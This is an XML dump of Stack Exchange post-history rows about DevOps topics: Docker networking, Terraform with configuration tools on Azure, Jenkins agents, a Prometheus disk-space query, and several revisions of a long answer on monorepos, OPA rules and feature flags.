  <row Id="40287" PostHistoryTypeId="2" PostId="13104" RevisionGUID="b4a86085-3bfc-4ecf-82ee-8e89383dfd2f" CreationDate="2021-01-07T20:10:07.353" UserId="25529" Text="I don't experience same issue with similar setup to what you describe. 'A' &amp; 'B' can ping &amp; access services on 'C' just fine. Few things to look at:&#xD;&#xA;&#xD;&#xA;- Port aside, can you ping 'C' from either of the other containers?&#xD;&#xA;- You probably shouldn't (can't?) name containers capital 'A', 'B', 'C' if you're going to build them in docker-compose. If that's what's actually used, try more meaningful names.&#xD;&#xA;- Does name resolution work if you do `nslookup c` from either a &amp; b? It should resolve via `nameserver 127.0.0.11`&#xD;&#xA;- firewall on 'C' or service not up on `c:8080`?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40289" PostHistoryTypeId="2" PostId="13105" RevisionGUID="690fe4a1-7eec-4df7-b018-ab98fbdefcf0" CreationDate="2021-01-08T10:45:58.110" UserId="25504" Text="I am an *Azure Data Engineer* and try to leverage the IaC benefits in this area of *Azure Data Factory, Azure Databricks, Azure SQL &amp; Synapse, Azure Power BI, Azure IoT*.&#xD;&#xA;After some research I figured out that I need two essential parts:&#xD;&#xA;&#xD;&#xA;    1.Provisioning part&#xD;&#xA;    2.Configuration management part&#xD;&#xA;&#xD;&#xA;Breaking down to technology I decided to use *Terraform* for the provisioning of infrastructure like (RG, Network, DBs etc).&#xD;&#xA;For the configuration management I am still not sure what to choose between *Chef, Puppet and Ansible*. &#xD;&#xA;There is another idea to use *Docker/Packer* + *Kubernetes*. &#xD;&#xA;&#xD;&#xA;What are the best practices of IaC and automation when it comes to the Area of Data Engineering/Big Data? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40290" PostHistoryTypeId="1" PostId="13105" RevisionGUID="690fe4a1-7eec-4df7-b018-ab98fbdefcf0" CreationDate="2021-01-08T10:45:58.110" UserId="25504" Text="IaC Deployment in Azure with Terraform + Chef vs. Puppet vs. Ansible for Data Engineers" ContentLicense="CC BY-SA 4.0" />
  <row Id="40291" PostHistoryTypeId="3" PostId="13105" RevisionGUID="690fe4a1-7eec-4df7-b018-ab98fbdefcf0" CreationDate="2021-01-08T10:45:58.110" UserId="25504" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;chef&gt;&lt;infrastructure-as-code&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40292" PostHistoryTypeId="2" PostId="13106" RevisionGUID="91bff115-f1e8-4917-9ce4-49b23df8fe81" CreationDate="2021-01-08T16:32:38.193" UserId="21821" Text="Have you checked the following link: https://wiki.jenkins.io/display/JENKINS/Step+by+step+guide+to+set+up+master+and+agent+machines+on+Windows&#xD;&#xA;I advise you to configure a node on the master ( manage --&gt; manage nodes ) and set the `launch method` to  `launch agent by connecting it to the master`. After that you have three methods to connect the Windows agent to Jenkins master, the easiest way will be to lanch it from a browser.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;This should work enven with jdk 11.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/PBkRc.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40293" PostHistoryTypeId="2" PostId="13107" RevisionGUID="0aac5234-0768-4dc8-959b-f840e0d31df4" CreationDate="2021-01-08T17:54:03.347" UserId="4328" Text="Yes, it is certainly possible, but it entirely depends on the architectural design of the entire system. Separating application services into manageable components (i.e. microservices) is one approach to this. While Netflix as a whole is one application in terms of the user experience, it is comprised of many applications/services that provide a small fraction of the functionality needed to run Netflix as a whole. &#xD;&#xA;&#xD;&#xA;In terms of a database, the same principal can be applied. Netflix doesn't manage one database for the entire application, each component utilizes it's own scalable database service. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40294" PostHistoryTypeId="2" PostId="13108" RevisionGUID="a8615e9b-ff37-4d89-a116-9fbe1d00fde4" CreationDate="2021-01-08T19:52:13.900" UserId="25540" Text="To calculate disk space required by Prometheus v2.20 **in bytes**, use the query:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;retention_time_seconds *&#xD;&#xA;rate(prometheus_tsdb_head_samples_appended_total[2h]) *&#xD;&#xA;(rate(prometheus_tsdb_compaction_chunk_size_bytes_sum[2h]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[2h]))&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Where `retention_time_seconds` is the value you've configured for `--storage.tsdb.retention.time`, which defaults to `15d` = `1296000` seconds." ContentLicense="CC BY-SA 4.0" />
  <row Id="40335" PostHistoryTypeId="2" PostId="13109" RevisionGUID="2d62b671-0266-4f39-a786-accffead25a3" CreationDate="2021-01-09T10:02:24.700" UserId="7513" Text="The correct answer, like almost everything in IT, is, &quot;it depends.&quot; It depends on the way you work, the type of company you are working for, your requirements, your non-functional requirements, and possibly a lot of other factors. In this answer, I'll talk about the 3 layers of an organisation's IT operations -- *infrastructure*, *platform*, and *application*. These 3 layers are blurred at the boundaries and there is a continual debate about their delineations, but if you're not familiar with this model, roughly:&#xD;&#xA;&#xD;&#xA; - *Infra* is machines and VMs -- stuff you typically provision with Terraform&#xD;&#xA; - *Platform* is Kubernetes, OpenShift, IIS, etc. -- stuff you typically provision with Packer, kubectl, or helm&#xD;&#xA; - *Application* is the business logic and software that runs your business, confusingly this is also often provisioned with kubectl or helm&#xD;&#xA;&#xD;&#xA;I think the question you're asking relates to the concept of 'monorepo', where all the code needed to build and deploy your application is contained in a single repo and versioned together. &#xD;&#xA;&#xD;&#xA;When making your decision you need to factor in whether you are working with an app per cluster, as is becoming more common in modern K8S systems, or a shared cluster. Another factor is which team owns the various layers of the architecture and how they will distribute their output.&#xD;&#xA;&#xD;&#xA;My experience comes mainly from large banks. In these organisations, we have hundreds (even thousands) of development teams and it is impractical and inefficient to expect each team to develop its own infrastructure and platform layers as well as their application. Distributing this effort to each team would be a governance and compliance nightmare and hiring that many people with the right skills would be impossible.&#xD;&#xA;&#xD;&#xA;Instead, we have centralised teams for infra and platform, and they distribute their output to the development teams and we typically work with the cluster-per-app model.&#xD;&#xA;&#xD;&#xA;Distribution of this can take two main forms: &#xD;&#xA;&#xD;&#xA;1. The infra and platform teams can provision clusters on behalf of a dev team and provide the pipelines needed to deploy applications to it. This works well when a team has little or no DevOps capability, but it is far from being the best solution as it creates a dependency from the dev team to the infra and platform teams which usually causes impedance and added complexity.&#xD;&#xA;&#xD;&#xA;2. The infra and platform teams can provide access to their git repos, and the dev teams can fork them into git submodules within their own mono-repos. This model is by far the most common and currently represents the best solution for highly-regulated industries. One of the biggest benefits here is that a dev team can make any changes they need to make to the infra and platform and issue pull requests for the respective teams to manage, without having to coordinate the schedules of the teams and thus reducing impedance.&#xD;&#xA;&#xD;&#xA;Both solutions have their problems and complexities, but both are manageable given strong leadership. Solution 1 would require separate repos for infra, platform, and app, and this usually results in a need to synchronise the backlogs of the respective teams, which quickly becomes a logistical nightmare as the number of teams increases. Solution 2 would require the implementation of 'initial trust' base infra with something like Open Policy Agent (OPA) rules to ensure that dev teams are complying with organisational governance requirements (e.g. verifying that a dev team isn't running a bitcoin mining operation, or publishing pro-trump/fascist/racist propaganda to our public-facing websites).&#xD;&#xA;&#xD;&#xA;The app per cluster model allows you to use a monorepo that can completely rebuild your app from the ground up with minimal human interaction. The alternative architecture, multi-tenanted, completely disallows the monorepo approach and you must have separate repos for each of the layers.&#xD;&#xA;&#xD;&#xA;The benefits of a monorepo are manifold, but one of the major benefits is having a single version for all layers of your application. One common problem in IT is called *Configuration Management* -- I refer here to the ITIL meaning, where we talk about which version of what software/hardware work together, rather than the folk meaning relating to configuration files. This is such a hard problem to solve that many books have been written on the subject and ITIL has an entire discipline dedicated to it. Many of the larger banks I have worked for have entire departments dedicated to this discipline and to do it right usually requires the Enterprise Architecture department to keep continually updated models of every component and relationship in an organisation's entire IT estate.&#xD;&#xA;&#xD;&#xA;The configuration management problem is largely solved with a monorepo. You'll never hear anyone say &quot;I tried to deploy your software but you've written a helm 3 chart and our cluster only has helm 2 installed,&quot; or, &quot;we patched the OS with the latest security updates and your application crashed.&quot; With a monorepo, as long as you have sufficient testing in place, your helm version will always be in sync with your helm files and your software will have always been tested with the latest security patches.&#xD;&#xA;&#xD;&#xA;Another major benefit from the monorepo approach is that you gain the ability to 'print' new environments. With an application that is designed to take advantage of this (autoscaling, auto-healing, service-mesh, etc.) this will allow you to have a test environment that is 100% aligned with your production environment. Further, if time-to-market is a prominent enough factor of your business plan, you can spin up multiple test-environments and run your tests in parallel rather than sequentially.&#xD;&#xA;&#xD;&#xA;Personally, I believe that the major factor in the productivity of individual teams is the relationships they necessarily have with their peers in different layers. If there are 300 dev teams, an infrastructure team will be continually inundated with requests for changes that must be understood, managed, prioritised, and scheduled -- this is a major effort in large orgs and can leave a team waiting months, or longer, for changes that support their needs, leading to project delays. There are no winners here -- if the centralised team is working on your problem then they're not working on someone else's, so either you are delayed or the other 300 teams are. It is a lose/lose situation and it simply does not work well at all. Monorepos with git's submodules (or similar structures) help fix this problem. Dev teams can make their own changes to their forked codebase and simply have it reviewed by an authorised representative of the centralised team, and pull requests can be used to manage this process.&#xD;&#xA;&#xD;&#xA;Of course, nothing is perfect. We don't yet have a silver bullet in software engineering and monorepos are no exception -- here be dragons. One fatal but unfortunately common misconception centres around the concept of feature-flags. These flags show what is finished, production-ready, and can be released, and what is a work in progress and should not yet be released to production. Many articles written by engineers suffering from the Dunning-Kruger effect suggest that these flags should be used to ensure that unfinished code should not be executable in a production environment. In reality, these flags should stop code being released to production at all if it is not yet ready. Non-production code should not be in production -- it is a huge security hole if it is released and this must be avoided.&#xD;&#xA;&#xD;&#xA;As far as I understand it though, the structure of your repos and software architecture tends to follow the structure of the organisation you work for. Ultimately, the deciding factor may not be related to software at all, but instead is related to your organisation's politics and maturity/sophistication/nature.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40337" PostHistoryTypeId="5" PostId="13109" RevisionGUID="2b32ced9-dbbf-4361-859b-a4f312691c1f" CreationDate="2021-01-09T10:42:12.467" UserId="7513" Comment="added 5668 characters in body" Text="The correct answer, like almost everything in IT, is, &quot;it depends.&quot; It depends on the way you work, the type of company you are working for, your requirements, your non-functional requirements, and possibly a lot of other factors. &#xD;&#xA;&#xD;&#xA;Layers&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;In this, admittedly long answer, I'll talk about the 3 layers of an organisation's IT operations -- *infrastructure*, *platform*, and *application*. These 3 layers are blurred at the boundaries and there is a continual debate about their delineations, but if you're not familiar with this model, roughly:&#xD;&#xA;&#xD;&#xA; - *Infra*: machines and VMs, security and resource groups, auto-scaling groups and elastic load-balancers -- stuff you typically provision with Terraform&#xD;&#xA; - *Platform* is Kubernetes, OpenShift, IIS, etc. -- stuff you typically provision with Packer, kubectl, or helm (and, this is the first blurring, because EKS, AKS, GKE, are often provisioned with terraform too)&#xD;&#xA; - *Application* is the business logic and software that runs your business, confusingly this is also often provisioned with kubectl or helm, and possibly packer if you're into the wonderful *immutability* model&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Monorepos&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;I think the question you're asking relates to the concept of 'monorepo', where all the code needed to build and deploy your application is contained in a single repo and versioned together. In this answer, I'll mainly address the benefits, techniques, and drawbacks of monorepos, though you don't have to go deep into monorepo culture for this to apply, simply maintaining a single version for all your application, infra, and platform will have the same effect.&#xD;&#xA;&#xD;&#xA;When making your decision you need to factor in whether you are working with an app per cluster, as is becoming more common in modern K8S systems, or a shared cluster. Another factor is which team owns the various layers of the architecture and how they will distribute their output.&#xD;&#xA;&#xD;&#xA;Teams &amp; Architecture&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;My experience comes mainly from large banks. In these organisations, we have hundreds (even thousands) of development teams and it is impractical and inefficient to expect each team to develop its own infrastructure and platform layers as well as their application. Distributing this effort to each team would be a governance and compliance nightmare and hiring that many people with the right skills would be impossible.&#xD;&#xA;&#xD;&#xA;Instead, we have centralised teams for infra and platform, and they distribute their output to the development teams and we typically work with the cluster-per-app model. In modern orgs we work with a cross-functional team that has some skills in each of the areas we need, including DevOps, and each team member is also a member of a group that is focused on their speciality where they receive groupwide instruction.&#xD;&#xA;&#xD;&#xA;We have 2 main models to provide access to the output of the centralised infra and platform teams:&#xD;&#xA;&#xD;&#xA;1. The infra and platform teams can provision clusters on behalf of a dev team and provide the pipelines needed to deploy applications to it. This works well when a team has little or no DevOps capability, but it is far from being the best solution as it creates a dependency from the dev team to the infra and platform teams which usually causes impedance and added complexity.&#xD;&#xA;&#xD;&#xA;2. The infra and platform teams can provide access to their git repos, and the dev teams can fork them into git submodules within their own mono-repos. This model is by far the most common and currently represents the best solution for highly-regulated industries. One of the biggest benefits here is that a dev team can make any changes they need to make to the infra and platform and issue pull requests for the respective teams to manage, without having to coordinate the schedules of the teams and thus reducing impedance.&#xD;&#xA;&#xD;&#xA;Both solutions have their problems and complexities, but both are manageable given good engineering leadership and tool support. &#xD;&#xA;&#xD;&#xA;Solution 1 would require separate repos for infra, platform, and app, and this usually results in a need to synchronise the backlogs of the respective teams, which quickly becomes a logistical nightmare as the number of teams increases. Solution 2 would require the implementation of 'initial trust' base infra with something like *Open Policy Agent* (OPA) rules to ensure that dev teams are complying with organisational governance requirements (e.g. verifying that a dev team isn't running a bitcoin mining operation, or publishing pro-trump/fascist/racist propaganda to our public-facing websites). OPA is an amazing tool when decentralising responsibility for the lower layers of an app while maintaining central control and I can't recommend it highly enough.&#xD;&#xA;&#xD;&#xA;The app per cluster model allows you to use a monorepo that can completely rebuild your app from the ground up with minimal human interaction. The alternative architecture, multi-tenanted, completely disallows the monorepo approach and you must have separate repos for each of the layers.&#xD;&#xA;&#xD;&#xA;Versioning &amp; Configuration Management&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The benefits of a monorepo are manifold, but one of the major benefits is having a single version for all layers of your application. One common problem in IT is called *Configuration Management* -- I refer here to the ITIL meaning, where we talk about which version of what software/hardware work together, rather than the folk meaning relating to configuration files. &#xD;&#xA;&#xD;&#xA;This is such a hard problem to solve that many books have been written on the subject and ITIL has an entire discipline dedicated to it. Many of the larger banks I have worked for have entire departments dedicated to this discipline and to do it right usually requires the Enterprise Architecture department to keep continually updated models of every component and relationship in an organisation's entire IT estate.&#xD;&#xA;&#xD;&#xA;The configuration management problem is largely solved with a monorepo. You'll never hear anyone say &quot;I tried to deploy your software but you've written a helm 3 chart and our cluster only has helm 2 installed,&quot; or, &quot;we patched the OS with the latest security updates and your application crashed.&quot; With a monorepo, as long as you have sufficient testing in place, your helm version will always be in sync with your helm files and your software will have always been tested with the latest security patches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Configuration files&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;I think the OP mentioned config files in one of the comments so I'll address that briefly here too. &#xD;&#xA;&#xD;&#xA;If you are building software that a client will run, then configuration files per client or installation are often necessary. In all other cases, they are not needed and should be avoided. Service discovery should be the responsibility of a service-mesh (my preference is *Consul*), not a configuration file. Secrets should be provided via dynamically generated properties files housed in an in-memory file-system only accessible to a single instance of your service. All other 'configuration' data should be managed by the platform, and it should be exactly the same for every environment. The days of placing the database name and port, and the database credentials, in your `database.properties` file were over a long time ago and you should move on now.&#xD;&#xA;&#xD;&#xA;It isn't always possible to completely avoid configuration files. Where this is the case the files should preferably be 'owned' by the environment layer, not the application layer. These can be used to enable/disable platform services and control feature flags so as to customise a platform for your team's needs. These should mostly be interpreted by the deployment mechanism to ensure that only the things you actually use are deployed, rather than having things enabled/disabled at runtime, which is a big security no-no. You could use these configurations to down-scale a test environment so that its not as large as a prod environment, or to scale one up for load testing, or even to deploy to a less than six-sigma HA configuration for basic dev work. &#xD;&#xA;&#xD;&#xA;Application-specific configuration is considered by many to be a code smell. It is often used to reference database names, ports, and the like. Your app should run in a container and should always run on port 80, so that doesn't need to be configured. Your database should always have a meaningful name and service discovery (DNS) should route you to the appropriate instance for your environment. Your memory and CPU constraints belong to the container, which is in the platform layer, not the app layer. You may have some truly app-level configuration points but that normally only true where you are deploying many instances of your apps for different clients (even if they are in your own organisation), in which case these are probably ok, but even then you should work on deriving them from the context in which you app runs, rather than hard-coding them in a config file unless absolutely necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Environments&#xD;&#xA;------------&#xD;&#xA;Another major benefit from the monorepo approach is that you gain the ability to 'print' new environments. With an application that is designed to take advantage of this (autoscaling, auto-healing, service-mesh, etc.) this will allow you to have a test environment that is 100% aligned with your production environment. Further, if time-to-market is a prominent enough factor of your business plan, you can spin up multiple test-environments and run your tests in parallel rather than sequentially.&#xD;&#xA;&#xD;&#xA;This also means that developers can have a production-like environment to experiment with whenever they need one. They simply have to run the provisioning scripts for the app and away they go.&#xD;&#xA;&#xD;&#xA;Of course, there is a cost to 'printing' environments and not everyone has the unlimited resources of a major bank to fall back on, so this capability must be managed, but if you engineer your environments to be automatically torn down when they're not being actively used then you will go a long way towards reducing these costs. OPA rules can also be used to ensure that boundaries are not overstepped and costs are managed efficiently without human interaction.&#xD;&#xA;&#xD;&#xA;Team Dependencies&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;Personally, I believe that the major factor in the productivity of individual teams is the relationships they necessarily have with their peers in different layers. If there are 300 dev teams, an infrastructure team will be continually inundated with requests for changes that must be understood, managed, prioritised, and scheduled -- this is a major effort in large orgs and can leave a team waiting months, or longer, for changes that support their needs, leading to project delays. &#xD;&#xA;&#xD;&#xA;There are no winners here -- if the centralised team is working on your problem then they're not working on someone else's, so either you are delayed or the other 300 teams are. It is a lose/lose situation and it simply does not work well at all. Monorepos with git's submodules (or similar structures) help fix this problem. Dev teams can make their own changes to their forked codebase and simply have it reviewed by an authorised representative of the centralised team, and pull requests can be used to manage this process.&#xD;&#xA;&#xD;&#xA;## Feature Flags ##&#xD;&#xA;Of course, nothing is perfect. We don't yet have a silver bullet in software engineering and monorepos are no exception -- here be dragons. One fatal but unfortunately common misconception centres around the concept of feature-flags. These flags show what is finished, production-ready, and can be released, and what is a work in progress and should not yet be released to production. Many articles written by engineers suffering from the Dunning-Kruger effect suggest that these flags should be used to ensure that unfinished code should not be executable in a production environment. In reality, these flags should stop code being released to production at all if it is not yet ready. Non-production code should not be in production -- it is a huge security hole if it is released and this must be avoided.&#xD;&#xA;&#xD;&#xA;No choice really&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;As far as I understand it though, the structure of your repos and software architecture tends to follow the structure of the organisation you work for. Ultimately, the deciding factor may not be related to software at all, but instead is related to your organisation's politics and maturity/sophistication/nature. You may experiment with counter-structures, but usually, these experiments fail to gain traction and are destined for the scrapheap.&#xD;&#xA;&#xD;&#xA;If your organisation is split into separate teams with separate responsibilities then your repos will be split the same way. If you go for a cross-functional team approach then your repos will tend to be merged. If you just have one big team that's responsible for the success of the organisation, even if it has specialities then you will naturally end up with a monorepo and life will be good.&#xD;&#xA;&#xD;&#xA;If your organisation is poorly structured, following the Harvard method espoused by various MBAs, of splitting the organisation into departments and assigning each of them a vice-president and then grouping them whenever there are more than 7 under a senior VP, then your path to working software will be fraught with problems and progress will be slow. I'm not trying to bash MBAs here, it's just that their models conflict with the primary activity of a lot of modern organisations, which is software development, and I feel that they need to modernise their approaches to take into account the opportunities provided by modern technology and big-data, rather than continuing a model that was developed by candlelight.&#xD;&#xA;&#xD;&#xA;Wow, this has turned into a bit of a lecture. Sorry, I don't have time to make it shorter, but as I said up-front, this is a complex subject with a lot of variables. The last section is the most important though, so read that first -- it could save you a lot of pain." ContentLicense="CC BY-SA 4.0" />
  <row Id="40338" PostHistoryTypeId="5" PostId="13109" RevisionGUID="cdd4bcaf-0f90-4a7b-8227-5ae66adce9a8" CreationDate="2021-01-09T10:47:48.263" UserId="7513" Comment="added 65 characters in body" Text="The correct answer, like almost everything in IT, is, &quot;it depends.&quot; It depends on the way you work, the type of company you are working for, your requirements, your non-functional requirements, and possibly a lot of other factors. &#xD;&#xA;&#xD;&#xA;*tl;dr -- read the final section, it's the most important.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Layers&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;In this, admittedly long answer, I'll talk about the 3 layers of an organisation's IT operations -- *infrastructure*, *platform*, and *application*. These 3 layers are blurred at the boundaries and there is a continual debate about their delineations, but if you're not familiar with this model, roughly:&#xD;&#xA;&#xD;&#xA; - *Infra*: machines and VMs, security and resource groups, auto-scaling groups and elastic load-balancers -- stuff you typically provision with Terraform&#xD;&#xA; - *Platform* is Kubernetes, OpenShift, IIS, etc. -- stuff you typically provision with Packer, kubectl, or helm (and, this is the first blurring, because EKS, AKS, GKE, are often provisioned with terraform too)&#xD;&#xA; - *Application* is the business logic and software that runs your business, confusingly this is also often provisioned with kubectl or helm, and possibly packer if you're into the wonderful *immutability* model&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Monorepos&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;I think the question you're asking relates to the concept of 'monorepo', where all the code needed to build and deploy your application is contained in a single repo and versioned together. In this answer, I'll mainly address the benefits, techniques, and drawbacks of monorepos, though you don't have to go deep into monorepo culture for this to apply, simply maintaining a single version for all your application, infra, and platform will have the same effect.&#xD;&#xA;&#xD;&#xA;When making your decision you need to factor in whether you are working with an app per cluster, as is becoming more common in modern K8S systems, or a shared cluster. Another factor is which team owns the various layers of the architecture and how they will distribute their output.&#xD;&#xA;&#xD;&#xA;Teams &amp; Architecture&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;My experience comes mainly from large banks. In these organisations, we have hundreds (even thousands) of development teams and it is impractical and inefficient to expect each team to develop its own infrastructure and platform layers as well as their application. Distributing this effort to each team would be a governance and compliance nightmare and hiring that many people with the right skills would be impossible.&#xD;&#xA;&#xD;&#xA;Instead, we have centralised teams for infra and platform, and they distribute their output to the development teams and we typically work with the cluster-per-app model. In modern orgs we work with a cross-functional team that has some skills in each of the areas we need, including DevOps, and each team member is also a member of a group that is focused on their speciality where they receive groupwide instruction.&#xD;&#xA;&#xD;&#xA;We have 2 main models to provide access to the output of the centralised infra and platform teams:&#xD;&#xA;&#xD;&#xA;1. The infra and platform teams can provision clusters on behalf of a dev team and provide the pipelines needed to deploy applications to it. This works well when a team has little or no DevOps capability, but it is far from being the best solution as it creates a dependency from the dev team to the infra and platform teams which usually causes impedance and added complexity.&#xD;&#xA;&#xD;&#xA;2. The infra and platform teams can provide access to their git repos, and the dev teams can fork them into git submodules within their own mono-repos. This model is by far the most common and currently represents the best solution for highly-regulated industries. One of the biggest benefits here is that a dev team can make any changes they need to make to the infra and platform and issue pull requests for the respective teams to manage, without having to coordinate the schedules of the teams and thus reducing impedance.&#xD;&#xA;&#xD;&#xA;Both solutions have their problems and complexities, but both are manageable given good engineering leadership and tool support. &#xD;&#xA;&#xD;&#xA;Solution 1 would require separate repos for infra, platform, and app, and this usually results in a need to synchronise the backlogs of the respective teams, which quickly becomes a logistical nightmare as the number of teams increases. Solution 2 would require the implementation of 'initial trust' base infra with something like *Open Policy Agent* (OPA) rules to ensure that dev teams are complying with organisational governance requirements (e.g. verifying that a dev team isn't running a bitcoin mining operation, or publishing pro-trump/fascist/racist propaganda to our public-facing websites). OPA is an amazing tool when decentralising responsibility for the lower layers of an app while maintaining central control and I can't recommend it highly enough.&#xD;&#xA;&#xD;&#xA;The app per cluster model allows you to use a monorepo that can completely rebuild your app from the ground up with minimal human interaction. The alternative architecture, multi-tenanted, completely disallows the monorepo approach and you must have separate repos for each of the layers.&#xD;&#xA;&#xD;&#xA;Versioning &amp; Configuration Management&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The benefits of a monorepo are manifold, but one of the major benefits is having a single version for all layers of your application. One common problem in IT is called *Configuration Management* -- I refer here to the ITIL meaning, where we talk about which version of what software/hardware work together, rather than the folk meaning relating to configuration files. &#xD;&#xA;&#xD;&#xA;This is such a hard problem to solve that many books have been written on the subject and ITIL has an entire discipline dedicated to it. Many of the larger banks I have worked for have entire departments dedicated to this discipline and to do it right usually requires the Enterprise Architecture department to keep continually updated models of every component and relationship in an organisation's entire IT estate.&#xD;&#xA;&#xD;&#xA;The configuration management problem is largely solved with a monorepo. You'll never hear anyone say &quot;I tried to deploy your software but you've written a helm 3 chart and our cluster only has helm 2 installed,&quot; or, &quot;we patched the OS with the latest security updates and your application crashed.&quot; With a monorepo, as long as you have sufficient testing in place, your helm version will always be in sync with your helm files and your software will have always been tested with the latest security patches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Configuration files&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;I think the OP mentioned config files in one of the comments so I'll address that briefly here too. &#xD;&#xA;&#xD;&#xA;If you are building software that a client will run, then configuration files per client or installation are often necessary. In all other cases, they are not needed and should be avoided. Service discovery should be the responsibility of a service-mesh (my preference is *Consul*), not a configuration file. Secrets should be provided via dynamically generated properties files housed in an in-memory file-system only accessible to a single instance of your service. All other 'configuration' data should be managed by the platform, and it should be exactly the same for every environment. The days of placing the database name and port, and the database credentials, in your `database.properties` file were over a long time ago and you should move on now.&#xD;&#xA;&#xD;&#xA;It isn't always possible to completely avoid configuration files. Where this is the case the files should preferably be 'owned' by the environment layer, not the application layer. These can be used to enable/disable platform services and control feature flags so as to customise a platform for your team's needs. These should mostly be interpreted by the deployment mechanism to ensure that only the things you actually use are deployed, rather than having things enabled/disabled at runtime, which is a big security no-no. You could use these configurations to down-scale a test environment so that its not as large as a prod environment, or to scale one up for load testing, or even to deploy to a less than six-sigma HA configuration for basic dev work. &#xD;&#xA;&#xD;&#xA;Application-specific configuration is considered by many to be a code smell. It is often used to reference database names, ports, and the like. Your app should run in a container and should always run on port 80, so that doesn't need to be configured. Your database should always have a meaningful name and service discovery (DNS) should route you to the appropriate instance for your environment. Your memory and CPU constraints belong to the container, which is in the platform layer, not the app layer. You may have some truly app-level configuration points but that normally only true where you are deploying many instances of your apps for different clients (even if they are in your own organisation), in which case these are probably ok, but even then you should work on deriving them from the context in which you app runs, rather than hard-coding them in a config file unless absolutely necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Environments&#xD;&#xA;------------&#xD;&#xA;Another major benefit from the monorepo approach is that you gain the ability to 'print' new environments. With an application that is designed to take advantage of this (autoscaling, auto-healing, service-mesh, etc.) this will allow you to have a test environment that is 100% aligned with your production environment. Further, if time-to-market is a prominent enough factor of your business plan, you can spin up multiple test-environments and run your tests in parallel rather than sequentially.&#xD;&#xA;&#xD;&#xA;This also means that developers can have a production-like environment to experiment with whenever they need one. They simply have to run the provisioning scripts for the app and away they go.&#xD;&#xA;&#xD;&#xA;Of course, there is a cost to 'printing' environments and not everyone has the unlimited resources of a major bank to fall back on, so this capability must be managed, but if you engineer your environments to be automatically torn down when they're not being actively used then you will go a long way towards reducing these costs. OPA rules can also be used to ensure that boundaries are not overstepped and costs are managed efficiently without human interaction.&#xD;&#xA;&#xD;&#xA;Team Dependencies&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;Personally, I believe that the major factor in the productivity of individual teams is the relationships they necessarily have with their peers in different layers. If there are 300 dev teams, an infrastructure team will be continually inundated with requests for changes that must be understood, managed, prioritised, and scheduled -- this is a major effort in large orgs and can leave a team waiting months, or longer, for changes that support their needs, leading to project delays. &#xD;&#xA;&#xD;&#xA;There are no winners here -- if the centralised team is working on your problem then they're not working on someone else's, so either you are delayed or the other 300 teams are. It is a lose/lose situation and it simply does not work well at all. Monorepos with git's submodules (or similar structures) help fix this problem. Dev teams can make their own changes to their forked codebase and simply have it reviewed by an authorised representative of the centralised team, and pull requests can be used to manage this process.&#xD;&#xA;&#xD;&#xA;## Feature Flags ##&#xD;&#xA;Of course, nothing is perfect. We don't yet have a silver bullet in software engineering and monorepos are no exception -- here be dragons. One fatal but unfortunately common misconception centres around the concept of feature-flags. These flags show what is finished, production-ready, and can be released, and what is a work in progress and should not yet be released to production. Many articles written by engineers suffering from the Dunning-Kruger effect suggest that these flags should be used to ensure that unfinished code should not be executable in a production environment. In reality, these flags should stop code being released to production at all if it is not yet ready. Non-production code should not be in production -- it is a huge security hole if it is released and this must be avoided.&#xD;&#xA;&#xD;&#xA;No choice really&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;As far as I understand it though, the structure of your repos and software architecture tends to follow the structure of the organisation you work for. Ultimately, the deciding factor may not be related to software at all, but instead is related to your organisation's politics and maturity/sophistication/nature. You may experiment with counter-structures, but usually, these experiments fail to gain traction and are destined for the scrapheap.&#xD;&#xA;&#xD;&#xA;If your organisation is split into separate teams with separate responsibilities then your repos will be split the same way. If you go for a cross-functional team approach then your repos will tend to be merged. If you just have one big team that's responsible for the success of the organisation, even if it has specialities then you will naturally end up with a monorepo and life will be good.&#xD;&#xA;&#xD;&#xA;If your organisation is poorly structured, following the Harvard method espoused by various MBAs, of splitting the organisation into departments and assigning each of them a vice-president and then grouping them whenever there are more than 7 under a senior VP, then your path to working software will be fraught with problems and progress will be slow. I'm not trying to bash MBAs here, it's just that their models conflict with the primary activity of a lot of modern organisations, which is software development, and I feel that they need to modernise their approaches to take into account the opportunities provided by modern technology and big-data, rather than continuing a model that was developed by candlelight.&#xD;&#xA;&#xD;&#xA;Wow, this has turned into a bit of a lecture. Sorry, I don't have time to make it shorter, but as I said up-front, this is a complex subject with a lot of variables. The last section is the most important though, so read that first -- it could save you a lot of pain." ContentLicense="CC BY-SA 4.0" />
